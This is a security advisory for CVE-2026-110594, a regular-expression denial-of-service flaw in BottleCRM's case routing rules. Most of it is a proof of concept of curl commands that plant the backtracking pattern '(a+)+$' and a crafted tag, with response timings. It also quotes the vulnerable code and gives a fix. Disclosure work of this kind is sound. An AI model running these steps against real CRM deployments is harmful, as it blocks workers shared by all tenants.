A GitHub repository version of this disclosure can be read here: CVE-2026-110594.
| Detail | Information |
|---|---|
| CVE Record | CVE-2026-110594 |
| Severity | 6.9 Medium (CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N) 4.9 Medium (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H) |
| Date Published | 2026-10-14 |
| Software Name | BottleCRM |
| Affected Version(s) | 0.43 through 1.14.5 |
| Software Link | https://github.com/django-crm/django-crm |
| Vendor | MicroPyramid |
| Researcher Credits | Aaron Amran Bin Amiruddin (@aaronamran) |
Description
BottleCRM 0.43 through 1.14.5 contains a regular expression denial of service vulnerability that allows authenticated organization administrators to block web workers via unbounded routing rule regex patterns. Attackers can create a routing rule with a catastrophically backtracking pattern evaluated by _match_condition() during case saves, exhausting workers shared across all tenants.
Proof-of-Concept
1. Obtain fresh admin token.
ADMIN=$(docker exec django-crm-backend-1 python manage.py devlogin "aswin.1231@gmail.com" --org "37ec1695-79ee-4ddb-82df-36b8fc05de21" 2>/dev/null | grep "access_token:" | awk '{print $2}')
2. Get profile ID for routing rule.
curl -sS "http://127.0.0.1:8000/api/users/" -H "Authorization: Bearer $ADMIN" -o /tmp/opencode/users_resp.json
PROFILE_ID=$(python3 -c "
import json
with open('/tmp/opencode/users_resp.json') as f:
d = json.load(f)
print(d['active_users']['active_users'][0]['id'])
")
echo "Profile ID: $PROFILE_ID"
# → Profile ID: 96098ebb-4939-4194-b713-10a8e40ec983
3. Create routing rule with evil regex.
curl -sS -X POST "http://127.0.0.1:8000/api/cases/routing-rules/" \
-H "Authorization: Bearer $ADMIN" -H "Content-Type: application/json" \
-d "{
\"name\": \"ReDoS Test Rule\",
\"strategy\": \"direct\",
\"target_assignee_ids\": [\"$PROFILE_ID\"],
\"conditions\": [{\"field\": \"tags\", \"op\": \"regex\", \"value\": \"(a+)+$\"}],
\"is_active\": true
}" \
-o /tmp/opencode/routing_create_resp.json -w "\nHTTP:%{http_code}\n"
cat /tmp/opencode/routing_create_resp.json
# → HTTP:201
{"id":"8bb131b7-5e73-49b5-b09b-95ce0d95b5af","name":"ReDoS Test Rule","priority_order":100,"is_active":true,"conditions
":[{"field":"tags","op":"regex","value":"(a+)+$"}],"strategy":"direct","stop_processing":true,"target_assignees":[{"id"
:"96098ebb-4939-4194-b713-10a8e40ec983","user_details":{"email":"aswin.1231@gmail.com","id":"cfe1b2a2-fef3-4922-b053-83
77947a3fc2","name":"aswin.1231","is_active":true,"profile_pic":null,"last_login":"2026-10-14T05:24:25.735059Z"},"role":
"ADMIN","address":null,"has_marketing_access":true,"has_sales_access":true,"phone":null,"date_of_joining":null,"is_acti
ve":true,"created_at":"2026-10-13T23:43:27.706741Z"}],"target_team":null,"created_at":"2026-10-14T05:24:36.671305Z","up
dated_at":"2026-10-14T05:24:36.671314Z"}
4. Create malicious tag (30 a's + c).
curl -sS -X POST "http://127.0.0.1:8000/api/tags/" \
-H "Authorization: Bearer $ADMIN" -H "Content-Type: application/json" \
-d '{"name": "aaaaaaaaaaaaaaaaaaaaaaaaaaaaac"}' \
-o /tmp/opencode/tag_malicious_resp.json -w "\nHTTP:%{http_code}\n"
cat /tmp/opencode/tag_malicious_resp.json
# → HTTP:200
{"error":false,"message":"Tag reactivated successfully","tag":{"id":"a71e63c9-987b-4e3e-a21b-b46eb4f78155","name":"aaaa
aaaaaaaaaaaaaaaaaaaaaaaaac","slug":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaac","color":"blue","description":"","is_active":true,"c
reated_at":"2026-10-14T05:11:55.722228Z"}}
MALICIOUS_TAG_ID=$(python3 -c "
import json
with open('/tmp/opencode/tag_malicious_resp.json') as f:
d = json.load(f)
print(d['tag']['id'])
")
echo "Malicious Tag ID: $MALICIOUS_TAG_ID"
# → Malicious Tag ID: a71e63c9-987b-4e3e-a21b-b46eb4f78155
5. Create normal tag for control test.
curl -sS -X POST "http://127.0.0.1:8000/api/tags/" \
-H "Authorization: Bearer $ADMIN" -H "Content-Type: application/json" \
-d '{"name": "normal-tag"}' \
-o /tmp/opencode/tag_normal_resp.json -w "\nHTTP:%{http_code}\n"
cat /tmp/opencode/tag_normal_resp.json
# → HTTP:201
{"error":false,"message":"Tag Created Successfully","tag":{"id":"2ba98cfa-191d-45fb-9352-81ef4b832615","name":"normal-t
ag","slug":"normal-tag","color":"blue","description":"","is_active":true,"created_at":"2026-10-14T05:25:04.553769Z"}}
6. Trigger ReDoS (should take ~40 seconds)
curl -sS -X POST "http://127.0.0.1:8000/api/cases/" \
-H "Authorization: Bearer $ADMIN" -H "Content-Type: application/json" \
-d "{
\"name\": \"ReDoS Trigger Case $(date +%s)\",
\"status\": \"New\",
\"priority\": \"High\",
\"case_type\": \"Incident\",
\"tags\": [\"$MALICIOUS_TAG_ID\"]
}" \
-o /tmp/opencode/case_trigger_resp.json \
-w "\nHTTP:%{http_code} TIME:%{time_total}s\n"
cat /tmp/opencode/case_trigger_resp.json
# → HTTP:200 TIME:37.145991s
{"error":false,"message":"Case Created Successfully","id":"4427bf73-3fff-4c0d-82f3-2219b0a8bbdb","cases_obj":{"id":"442
7bf73-3fff-4c0d-82f3-2219b0a8bbdb","name":"ReDoS Trigger Case 1791955522","status":"New","priority":"High","case_type":
"Incident","closed_on":null,"description":null,"created_by":{"id":"cfe1b2a2-fef3-4922-b053-8377947a3fc2","email":"aswin
.1231@gmail.com","name":"aswin.1231","profile_pic":null},"created_at":"2026-10-14T05:25:22.442435Z","is_active":true,"a
ccount":null,"contacts":[],"teams":[],"assigned_to":[],"tags":[{"id":"a71e63c9-987b-4e3e-a21b-b46eb4f78155","name":"aaa
aaaaaaaaaaaaaaaaaaaaaaaaaac","slug":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaac","color":"blue","description":"","is_active":true,"
created_at":"2026-10-14T05:11:55.722228Z"}],"org":{"id":"37ec1695-79ee-4ddb-82df-36b8fc05de21","name":"MicroPyramid"},"
custom_fields":{},"escalation_count":0,"last_escalation_fired_at":null,"sla_first_response_hours":4,"sla_resolution_hou
rs":24,"first_response_at":null,"resolved_at":null,"sla_paused_at":null,"first_response_sla_deadline":"2026-10-14T09:25
:22.442435Z","resolution_sla_deadline":"2026-10-15T05:25:22.442435Z","is_sla_first_response_breached":false,"is_sla_res
olution_breached":false,"is_sla_first_response_at_risk":false,"is_sla_resolution_at_risk":false,"parent":null,"is_probl
em":false,"parent_summary":null,"child_count":0,"time_summary":{"total_minutes":0,"billable_minutes":0,"last_entry_at":
null,"by_profile":[]}}}
7. Perform control test.
curl -sS -X POST "http://127.0.0.1:8000/api/cases/" \
-H "Authorization: Bearer $ADMIN" -H "Content-Type: application/json" \
-d "{
\"name\": \"Normal Case $(date +%s)\",
\"status\": \"New\",
\"priority\": \"High\",
\"case_type\": \"Incident\",
\"tags\": [\"$NORMAL_TAG_ID\"]
}" \
-o /tmp/opencode/case_normal_resp.json \
-w "\nHTTP:%{http_code} TIME:%{time_total}s\n"
cat /tmp/opencode/case_normal_resp.json
# → HTTP:200 TIME:0.124821s
{"error":false,"message":"Case Created Successfully","id":"c759275d-17b0-4e2c-bac6-90ce2cdfaaec","cases_obj":{"id":"c75
9275d-17b0-4e2c-bac6-90ce2cdfaaec","name":"Normal Case 1791955570","status":"New","priority":"High","case_type":"Incide
nt","closed_on":null,"description":null,"created_by":{"id":"cfe1b2a2-fef3-4922-b053-8377947a3fc2","email":"aswin.1231@g
mail.com","name":"aswin.1231","profile_pic":null},"created_at":"2026-10-14T05:26:11.031077Z","is_active":true,"account"
:null,"contacts":[],"teams":[],"assigned_to":[],"tags":[],"org":{"id":"37ec1695-79ee-4ddb-82df-36b8fc05de21","name":"Mi
croPyramid"},"custom_fields":{},"escalation_count":0,"last_escalation_fired_at":null,"sla_first_response_hours":4,"sla_
resolution_hours":24,"first_response_at":null,"resolved_at":null,"sla_paused_at":null,"first_response_sla_deadline":"20
26-10-14T09:26:11.031077Z","resolution_sla_deadline":"2026-10-15T05:26:11.031077Z","is_sla_first_response_breached":fal
se,"is_sla_resolution_breached":false,"is_sla_first_response_at_risk":false,"is_sla_resolution_at_risk":false,"parent":
null,"is_problem":false,"parent_summary":null,"child_count":0,"time_summary":{"total_minutes":0,"billable_minutes":0,"l
ast_entry_at":null,"by_profile":[]}}}
Evidence of Exploitation
| Tag Type | Time Taken | HTTP Response |
|---|---|---|
Malicious tag (aaaaaaaaaaaaaaaaaaaaaaaaaaaaac) | 37.145991 seconds (~40s, abnormal delay) | HTTP 200 |
Control tag (normal-tag) | 0.124821 seconds (<1s, normal expected speed) | HTTP 200 |
Vulnerable Code Section
match_condition(). Source: https://github.com/Django-CRM/Django-CRM/blob/master/backend/cases/routing.pySUPPORTED_OPS = {"eq", "in", "contains", "regex"}
if op == "regex":
if actual is None:
return False
try:
pattern = re.compile(str(value)) # ← no length cap, no timeout
except re.error:
return False # catches invalid syntax, NOT backtracking
if isinstance(actual, list):
return any(pattern.search(str(a)) for a in actual)
return bool(pattern.search(str(actual))) # ← SINK: blocks indefinitely on evil pattern
backend/cases/signals.py is the call site. Source: https://github.com/Django-CRM/Django-CRM/blob/master/backend/cases/signals.py@receiver(post_save, sender=Case)
def route_case_on_save(sender, instance, created, **kwargs):
if created:
evaluate_routing_rules(instance) # ← runs in request path synchronously
RoutingRuleListCreateView.post() of backend/cases/routing_views.py. Source: https://github.com/Django-CRM/Django-CRM/blob/master/backend/cases/routing_views.pydef post(self, request, *args, **kwargs):
if not is_org_admin(request.profile):
return _admin_required() # ← creation gated to org admin
Recommended Fix
backend/cases/routing.py, add a two-layer defence: reject patterns that exceed a length limit, and evaluate with a hard timeout using the regex module (stdlib-compatible drop-in):# pip install regex
import regex as re_timeout # drop-in, adds timeout= to search/match
MAX_REGEX_PATTERN_LEN = 200
REGEX_TIMEOUT_SECONDS = 1.0
if op == "regex":
if actual is None:
return False
pattern_str = str(value)
if len(pattern_str) > MAX_REGEX_PATTERN_LEN:
logger.warning(
"RoutingRule regex pattern exceeds max length (%d > %d), skipping",
len(pattern_str), MAX_REGEX_PATTERN_LEN,
)
return False
try:
pattern = re_timeout.compile(pattern_str)
except re_timeout.error:
return False
try:
if isinstance(actual, list):
return any(
pattern.search(str(a), timeout=REGEX_TIMEOUT_SECONDS) for a in actual
)
return bool(pattern.search(str(actual), timeout=REGEX_TIMEOUT_SECONDS))
except TimeoutError:
logger.warning("RoutingRule regex timed out on field %r, treating as no-match", f)
return False
Timeline
See you in the next hack.
@aaronamran
October 2026